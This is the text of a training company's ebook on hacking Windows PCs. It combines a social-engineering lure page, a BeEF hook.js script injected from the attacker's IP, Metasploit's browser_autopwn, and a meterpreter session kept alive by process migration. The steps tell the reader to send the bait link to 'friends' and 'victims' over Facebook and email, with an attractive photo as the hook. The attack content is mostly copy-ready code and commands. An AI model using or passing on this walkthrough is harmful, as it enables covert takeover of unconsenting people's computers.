seculabs ebook - hack windows using beef, se and metasploit

19

Upload: rifqi-multazam

Post on 27-Oct-2015

75 views

Category:

Documents


6 download

TRANSCRIPT

Page 1: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit
Page 2: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

SECUGENIUS SECURITY SOLUTIONS

--------------------------------------------------------------------------------------

(A UNIT OF HARKSH TECHNOLOGIES PVT. LTD)

Company Profile:

Secugenius Security Solutions is a Student Entrepreneurial Company started by 2 Social Student

Entrepreneurs in 2010 with an aim to make our country Cyber Crime Free. We at SECUGENIUS

are headquartered at Ludhiana, the Manchester of Punjab. The main activities of Secugenius

Security Solutions are providing training in Information Security and various professional courses.

Secugenius Security Solutions is an organization which believes in inventing and implementing new

ideas to influence the technological minds of the youngsters

Looking at the number of Cyber Crimes since last many years, We at Secugenius Security

Solutions provides training on Ethical hacking & Cyber Security to students, IT Professionals, Bank

Employees, Police officials.

Secugenius conducts workshops in all parts of the country in various Colleges/institutions for the

benefit of the students & making them aware of the latest trends in technological era of the

Computer age. We believe in spreading knowledge to all the youngsters & growing minds of the

nation so that they could serve the nation with perfect skill-sets in the field of Cyber Crime

Investigation & Forensic Sciences

Secugenius provides various security solutions to its clients by securing their websites from cyber

attacks. We provide training to college students, graduates and professionals in various fields.

Education is delivered to students through two modes i.e. Regular mode and Distance mode which

are available as short term and long term courses.

In the workshops conducted by Secugenius, participants can claim to be trained by the highly

experienced & skilled corporate trainers from different parts of the nation. We believe in making

the base of students to be as strong as possible. All the modules have been designed in order to

provide students with specialized knowledge by specialized trainers.

This library was furnished, managed and funded by the Founders and Directors of Secugenius

Er. Harpreet Khattar & Er. Kshitij Adhlakha. The overall resource person for the content of

the series of this Digital Library is Er. Chetan Soni - Sr. Security Specialist, Secugenius Security

Solutions.

This Online Digital Library has been initiated as a free resource & permanent

resource on specialization basis for every student of Team Secugenius.

Page 3: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Hack Windows using BeEF, SE and Metasploit

Product ID No: SG/ODL/13027

Founder & Director: Harpreet Khattar & Kshitij Adhlakha

Resource Person: Chetan Soni

Secugenius Security Solutions

SCO-13A, Model Town Extn, Near Krishna Mandir,

Ludhiana-141002, Punjab – India

[email protected], [email protected]

www.secugenius.com , www.seculabs.in

Page 4: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Our Target – Windows Attacker OS – Backtrack 5

Requirements –

1. HTML Page + Social Engineering

2. Beef Tool

3. Metasploit Framework

Step 1 –

Social Engineering with the best plan will result the best thing.

So make an index.html file and send this link to the target. The html page and the link should be lucrative. So I will create a page which contains an image named as ayana.jpg

If you wanna hack a Male’s System then the jpg file must be of a beautiful

girl

If you wanna hack a Female’s System then the jpg file must be of a

handsome boy.

Let’s create the index page by typing this command “vi index.html”

Page 5: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 2 – Here’s the HTML code <html> <head> <title>Ayana.jpg</title> <script src="http://192.168.43.129:3000/hook.js"></script> </head> <body> <img src="cantik.jpg" /> </body> </html> Here’s 192.168.43.129 is our IP Address (Attacker’s IP Address) Save your index.html with this by typing this command “:wq!”

Page 6: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 3 – Now Create a directory named as anaya.jpg in /var/www/ root directory. root@bt:~# mkdir /var/www/anaya.jpg/ ayana.jpg is a directory, which is the uri path. Now Copy your index.html file in this directory by typing this command, root@bt:~# cp –rf index.html /var/www/anaya.jpg/

Step 4 – Now Copy any image file and put it into same directory by named as “cantik.jpg” root@bt:~# cp –rf /root/Desktop/chetansoni.jpg /var/www/anaya.jpg/cantik.jpg

Page 7: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 5 – Now Start the BeEF Installation by follows this path, Backtrack -> Exploitation Tools -> Social Engineering Tools -> BEEF XSS Framework -> BeEF installer

Run the BeEF installer which looks like this

Page 8: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 6 – After completing the installation, run the beef from same start menu. Backtrack -> Exploitation Tools -> Social Engineering Tools -> BEEF XSS Framework -> BeEF

After click on BeEF, it looks like this,

Page 9: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 7 – Open the panel of BeEF using your browser with this address http://127.0.0.1:3000/ui/panel

Now, give this link to your friends http://192.168.43.129/ayana.jpg You can also use your favorite technique to gives the link, For Example –

You can say that -> Hello bro, look this beautiful girl here http://192.168.56.101/ayana.jpg

Page 10: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 8 – By Default Username and password of this panel is “beef”

Step 9 – Now it’s time to setup browser autopwn, So Start your Metasploit framework by typing this command “msfconsole”

Page 11: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 10 – To use browser autopwn exploit, please type this command, msf > use auxiliary/server/browser_autopwn

Step 11 – Now Type show options to check all options related to this exploit msf auxiliary(browser_autopwn) > show options

Page 12: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 12 – To Set your LHOST IP, type this command msf auxiliary(browser_autopwn) > set LHOST 192.168.43.129

Step 13 – To start this auxiliary, please type “run”

Page 13: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 14 – Now give your link to all victims/friends on Facebook, Email, Manually, etc.. When someone opens your link it executes the index.html file Malicious Link = http://192.168.43.129/anaya.jpg/

Page 14: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 15 – Now Open BeEF Panel and go to Online Browsers,

Here it shows One Entry [192.168.43.130] (Hacked System)

Page 15: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 16 – Now go to back terminal and you’ll see that there is a link named as “Local IP”. Copy this link “http://192.168.43.129:8080/xJiXZYi”

Page 16: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 17 – Now Click on Commands, Click on Browser (10) then click on “Redirect Browser” and a new right side window will open where you put same IP which you copied from framework

Step 18 – Now Type “sessions –i” for checking all hacked sessions

Page 17: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 19 – Now To Open the session, type this command “sessions –i 1”

As we can see that the Metasploit was successfully gaining access into windows system. Step 20 – Type “pwd” to check “present working directory”

Page 18: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 21 – Now Type “getpid” to check Process ID.

Next Type “ps” for running processes.

Page 19: Seculabs eBook - Hack Windows Using BeEF, SE and Metasploit

Step 22 – To permanently connection, migrate your process by typing this command, Syntax – meterpreter > migrate <Process ID> Example – meterpreter > migrate 2008